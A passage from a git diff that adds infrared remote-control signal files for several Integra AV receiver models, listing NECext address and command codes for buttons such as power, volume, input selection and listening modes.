+name: ZONE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir new file mode 100644 index 000000000..965ab72c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir @@ -0,0 +1,404 @@ +Filetype: IR signals file +Version: 1 +# +name: NET_TUNE_CH_UP +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 00 00 00 00 +# +name: Z2_PRESET_UP +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 00 00 00 00 +# +name: Z2_CHAN_+ +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 00 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 00 00 00 00 +# +name: NET_TUNE_CH_DOWN +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 01 00 00 00 +# +name: Z2_PRESET_DOWN +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 01 00 00 00 +# +name: Z2_CHAN- +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 01 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 02 00 00 00 +# +name: Z2_VOLUME_+ +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 02 00 00 00 +# +name: Z2_VOLUME_+ +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 03 00 00 00 +# +name: Z2_VOLUME_- +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 03 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 03 00 00 00 +# +name: Z2_VOLUME_- +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 04 00 00 00 +# +name: Z2_POWER_ON +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 04 00 00 00 +# +name: ZONE_2_ON +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 04 00 00 00 +# +name: Z2_ON +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 04 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 05 00 00 00 +# +name: Z2_MUTING_(TOGGLE) +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 05 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 05 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 08 00 00 00 +# +name: Z2_TAPE1(TAPE) +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 08 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 08 00 00 00 +# +name: Z2_INPUT_TAPE +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 09 00 00 00 +# +name: Z2_CD +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 09 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 09 00 00 00 +# +name: Z2_INPUT_CD +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0A 00 00 00 +# +name: Z2_PHONO +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0A 00 00 00 +# +name: INPUT:_PHONO +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0A 00 00 00 +# +name: Z2_INPUT_PHONO +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0B 00 00 00 +# +name: Z2_TUNER +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0B 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0B 00 00 00 +# +name: Z2_INPUT_TUNER +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0B 00 00 00 +# +name: VIDEO_3_GAME/TV +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0D 00 00 00 +# +name: Z2_GAME/TV +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0D 00 00 00 +# +name: INPUT:_GAME/TV +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0D 00 00 00 +# +name: Z2_INPUT_GAME/TV +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0D 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0D 00 00 00 +# +name: VIDEO_2_CBL/SAT +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0E 00 00 00 +# +name: Z2_CBL/SAT +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0E 00 00 00 +# +name: INPUT:_CBL/SAT +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0E 00 00 00 +# +name: Z2_INPUT_CBL/SAT +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0E 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0E 00 00 00 +# +name: VIDEO_1_VCR/DVR +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0F 00 00 00 +# +name: Z2_VCR/DVR +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0F 00 00 00 +# +name: INPUT:_VCR/DVR +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0F 00 00 00 +# +name: Z2_INPUT_VCR/DVR +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 0F 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 46 00 00 00 +# +name: Z2_FM +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 46 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 47 00 00 00 +# +name: Z2_AM +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 47 00 00 00 +# +name: VIDEO_6_PC +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 9C 00 00 00 +# +name: Z2_AUX2 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 9D 00 00 00 +# +name: INPUT:_AUX_2 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 9D 00 00 00 +# +name: Z2_INPUT_AUX2 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 9D 00 00 00 +# +name: VIDEO_4_AUX1 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 9F 00 00 00 +# +name: Z2_AUX1(AUX) +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 9F 00 00 00 +# +name: INPUT:_AUX_1 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 9F 00 00 00 +# +name: Z2_INPUT_AUX_1 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 9F 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 11 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir new file mode 100644 index 000000000..c2a7cc4a0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: AUDIO +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 08 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 09 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 0A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 0E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 10 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 11 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 12 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 13 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 14 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 15 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 16 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 17 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 18 00 00 00 +# +name: SEARCH-ENTER +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 19 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 1A 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 1B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 1C 00 00 00 +# +name: MODE:_STRAIGHT_DECOD +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 52 00 00 00 +# +name: MODE:_TV_LOGIC +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 52 00 00 00 +# +name: MODE_STRAIGHT_DECODE +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 52 00 00 00 +# +name: STRAIGHT_DECODE +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 52 00 00 00 +# +name: MODE:_DOLBY_EX +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 53 00 00 00 +# +name: MODE_DOLBY_EX +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 53 00 00 00 +# +name: DOLBY_-_WRAP_AROUND +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 53 00 00 00 +# +name: DOLBY_EX +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 53 00 00 00 +# +name: DOLLBY_EX +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 53 00 00 00 +# +name: MODE:_MONO +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 54 00 00 00 +# +name: MODE_MONO +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 54 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 54 00 00 00 +# +name: VIDEO_ADJUST +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 87 00 00 00 +# +name: SETUP_VIDEO +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 87 00 00 00 +# +name: UNIVERSAL_PORT +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 8A 00 00 00 +# +name: INPUT_UNIVERSAL_PORT +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 8A 00 00 00 +# +name: RESOLUTION +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9D 00 00 00 +# +name: RESOLUTION:_TOGGLE +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9D 00 00 00 +# +name: RESOLUTION_SCROLL +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9D 00 00 00 +# +name: INPUT_USB_(FRONT) +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9E 00 00 00 +# +name: INPUT_USB_REAR +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9F 00 00 00 +# +name: LISTEN_MODE_TV +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D0 00 00 00 +# +name: MODE_LISTEN_MODEMOVI +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D0 00 00 00 +# +name: LM_MOVIE/TV +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D0 00 00 00 +# +name: LISTEN:_MOVIE/TV +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D0 00 00 00 +# +name: LISTEN_MODE_MUSIC +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D1 00 00 00 +# +name: LM_MUSIC +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D1 00 00 00 +# +name: LISTEN:_MUSIC +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D1 00 00 00 +# +name: LISTEN_MODE_GAME +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D2 00 00 00 +# +name: MODE_LISTEN_MODEGAME +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D2 00 00 00 +# +name: LM_GAME +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D2 00 00 00 +# +name: LISTEN:_GAME +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D2 00 00 00 +# +name: HDMI_OUT_NO_ANALOG +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D3 00 00 00 +# +name: HDMI_OUT_NO +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D3 00 00 00 +# +name: HDMI_OUT_MAIN +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D4 00 00 00 +# +name: HDMI_OUT_YES +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D4 00 00 00 +# +name: HDMI_OUT_SUB +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D5 00 00 00 +# +name: XM +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: DA 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: DA 00 00 00 +# +name: INPUT:_XM +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: DA 00 00 00 +# +name: SIRIUS +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: DB 00 00 00 +# +name: INPUT_SIRIUS +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: DB 00 00 00 +# +name: INPUT:_SIRIUS +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: DB 00 00 00 +# +name: AUDYSSEY_TOGGLE +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir new file mode 100644 index 000000000..c62b5d1ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: Z2_VOLUME_+_(2) +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 42 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 42 00 00 00 +# +name: Z2_VOLUME_-_(2) +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 43 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 43 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 47 00 00 00 +# +name: Z2_STANDBY +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 47 00 00 00 +# +name: ZONE_2_OFF +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 47 00 00 00 +# +name: Z2_SOURCE +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 5F 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 5F 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 84 00 00 00 +# +name: Z2_MUTING_ON +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 84 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 85 00 00 00 +# +name: Z2_MUTING_OFF +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 85 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 8C 00 00 00 +# +name: Z2_DVD +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 8C 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 8C 00 00 00 +# +name: Z2_INPUT_DVD +type: parsed +protocol: NECext +address: D2 12 00 00 +command: 8C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 12 00 00 +command: CB 00 00 00 +# +name: Z2_STANDBY/ON_(TGLE) +type: parsed +protocol: NECext +address: D2 12 00 00 +command: CB 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: D2 12 00 00 +command: CB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir new file mode 100644 index 000000000..819e395d6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: UNIVERSAL_PORT +type: parsed +protocol: NECext +address: D2 13 00 00 +command: 8A 00 00 00 +# +name: USB_FRONT +type: parsed +protocol: NECext +address: D2 13 00 00 +command: 9E 00 00 00 +# +name: USB_REAR +type: parsed +protocol: NECext +address: D2 13 00 00 +command: 9F 00 00 00 +# +name: XM +type: parsed +protocol: NECext +address: D2 13 00 00 +command: DA 00 00 00 +# +name: SIRIUS +type: parsed +protocol: NECext +address: D2 13 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir new file mode 100644 index 000000000..e44892598 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir @@ -0,0 +1,962 @@ +Filetype: IR signals file +Version: 1 +# +name: TRIGGER_A_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 04 00 00 00 +# +name: 12V_TRIGGER_A_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 04 00 00 00 +# +name: TRIGGER_A_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 05 00 00 00 +# +name: 12V_TRIGGER_A_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 05 00 00 00 +# +name: TRIGGER_B_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 06 00 00 00 +# +name: 12V_TRIGGER_B_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 06 00 00 00 +# +name: 12V_TRIGGER_C_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 06 00 00 00 +# +name: 12V_TRIGGER_C_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 06 00 00 00 +# +name: TRIGGER_B_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 07 00 00 00 +# +name: 12V_TRIGGER_B_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 07 00 00 00 +# +name: TRIGGER_C_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 08 00 00 00 +# +name: 12V_TRIGGER_C_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 08 00 00 00 +# +name: TRIGGER_C_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 09 00 00 00 +# +name: 12V_TRIGGER_C_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 09 00 00 00 +# +name: 12V_TRIGGER_C_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 09 00 00 00 +# +name: MODE:_PLXLL_MOVIE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0A 00 00 00 +# +name: MODE_PLLX_MOVIE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0A 00 00 00 +# +name: PROLOGICIIX_MOVIE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0A 00 00 00 +# +name: MODE_PLIIX_MOVIE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0A 00 00 00 +# +name: PLIIX_MOVIE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0A 00 00 00 +# +name: MODE:_PLXLL_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0B 00 00 00 +# +name: MODE_PLLX_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0B 00 00 00 +# +name: PROLOGICIIX_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0B 00 00 00 +# +name: MODE_PLIIX_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0B 00 00 00 +# +name: PLIIX_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0B 00 00 00 +# +name: MODE:_PLXLL_GAME +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0C 00 00 00 +# +name: MODE_PLLX_GAME +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0C 00 00 00 +# +name: PROLOGICIIX_GAME +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0C 00 00 00 +# +name: MODE_PLIIX_GAME +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0C 00 00 00 +# +name: PLIIX_GAME +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0C 00 00 00 +# +name: MODE:NEO6_CINEMA +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0D 00 00 00 +# +name: MODE_NEO6_CINEMA +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0D 00 00 00 +# +name: NEO_6_CINEMA +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0D 00 00 00 +# +name: MODE_NEO:6_CINEMA +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0D 00 00 00 +# +name: NEO:6_CINEMA +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0D 00 00 00 +# +name: MODE:_NEO6_CINEMA +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0D 00 00 00 +# +name: MODE:NEO6_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0E 00 00 00 +# +name: MODE_NEO6_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0E 00 00 00 +# +name: NEO_6_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0E 00 00 00 +# +name: MODE_NEO:6_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0E 00 00 00 +# +name: NEO:6_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0E 00 00 00 +# +name: MODE:_NEO6_MOVIE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0E 00 00 00 +# +name: LOCK +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 14 00 00 00 +# +name: UNLOCK +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 15 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 40 00 00 00 +# +name: TUNE_DIRECT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 40 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 40 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 40 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 40 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 41 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 41 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 41 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 41 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 41 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 4D 00 00 00 +# +name: TUNE_SEARCH_MODE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 4D 00 00 00 +# +name: XM_SEARCH +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 4D 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 5C 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 5D 00 00 00 +# +name: NET_FWD +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 80 00 00 00 +# +name: NET/USB_FFWD +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 80 00 00 00 +# +name: NET_RWD +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 81 00 00 00 +# +name: NET/USB_REW +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 81 00 00 00 +# +name: NET/USB_RETURN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 86 00 00 00 +# +name: NET_AUDIO +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 87 00 00 00 +# +name: INPUT_NET_AUDIO +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 87 00 00 00 +# +name: INPUT_MUSIC_SERVER +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 88 00 00 00 +# +name: MSRV +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 88 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 88 00 00 00 +# +name: INPUT_INTERNET_RADIO +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 89 00 00 00 +# +name: IRD +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 89 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 89 00 00 00 +# +name: NET_PLAY +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8D 00 00 00 +# +name: NET/USB_PLAY +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8D 00 00 00 +# +name: NET_STOP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8E 00 00 00 +# +name: NET/USB_STOP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8E 00 00 00 +# +name: NET_TRACK_+ +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8F 00 00 00 +# +name: NET/USB_TRACK_+ +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8F 00 00 00 +# +name: NET_TRACK_- +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 90 00 00 00 +# +name: NET/USB_TRACK_- +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 90 00 00 00 +# +name: NET_PAUSE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 91 00 00 00 +# +name: NET/USB_PAUSE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 91 00 00 00 +# +name: NET/USB_REPEAT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 92 00 00 00 +# +name: NET/USB_MENU +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 94 00 00 00 +# +name: NET/USB_TOP_MENU +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 95 00 00 00 +# +name: NET/USB_RANDOM +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 9B 00 00 00 +# +name: NET/USB_DISPLAY +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 9E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 9E 00 00 00 +# +name: NET/USB_SETUP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 9F 00 00 00 +# +name: NET_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C0 00 00 00 +# +name: NET/USB_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C0 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C0 00 00 00 +# +name: NET_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C1 00 00 00 +# +name: NET/USB_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C1 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C1 00 00 00 +# +name: NET_LEFT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C2 00 00 00 +# +name: NET/USB_LEFT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C2 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C2 00 00 00 +# +name: NET_RIGHT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C3 00 00 00 +# +name: NET/USB_RIGHT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C3 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext 